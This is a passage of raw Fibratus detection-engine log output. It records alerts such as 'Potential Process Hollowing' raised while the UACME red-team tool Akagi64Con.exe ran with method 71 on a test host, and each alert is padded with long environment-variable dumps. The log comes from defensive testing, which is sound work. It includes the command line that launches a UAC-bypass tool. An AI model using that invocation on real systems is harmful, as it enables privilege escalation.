Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:07+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\AxImp\ca4a65a92bd27aec24b76530261ae608\AxImp.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10966809 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:50.8063013 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\AxImp\ca4a65a92bd27aec24b76530261ae608\AxImp.ni.exe, image_size➜ 90112, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:07+01:00 level=info msg=sending alert: [Potential Process Hollowing]. Text: Event(s): + Seq: 10916625 + Pid: 10124 + Tid: 19300 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:48.8769839 +0100 CET + Params: cmdline➜ "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71, directory_table_base➜ 1a0893000, domain➜ ARCHRABBIT, exe➜ C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe, exit_status➜ Success, flags➜ , kproc➜ ffff978f700c9080, name➜ Akagi64Con.exe, pid➜ 1000, ppid➜ 10124, real_ppid➜ 10124, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-05 15:59:48.876848 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: technique.name: Process Injection, subtechnique.id: T1055.012, subtechnique.ref: https://attack.mitre.org/techniques/T1055/012/, rule.seq.link: 9665569474375319552, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.ref: https://attack.mitre.org/techniques/T1055/, subtechnique.name: Process Hollowing, rule.name: Potential Process Hollowing, tactic.name: Defense Evasion + + Pid: 10124 + Ppid: 16888 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 10966658 + Pid: 1000 + Tid: 12900 + Type: UnmapViewFile + CPU: 2 + Name: UnmapViewFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:50.7881781 +0100 CET + Params: file_key➜ ffffc38f3f6e1810, file_path➜ , offset➜ 0, pid➜ 1000, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 2bb3a150000, view_size➜ 434176 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, subtechnique.name: Process Hollowing, tactic.name: Defense Evasion, subtechnique.id: T1055.012, tactic.id: TA0005, rule.seq.link: 9665569474375319552, technique.id: T1055, technique.name: Process Injection, subtechnique.ref: https://attack.mitre.org/techniques/T1055/012/, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: Potential Process Hollowing + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ 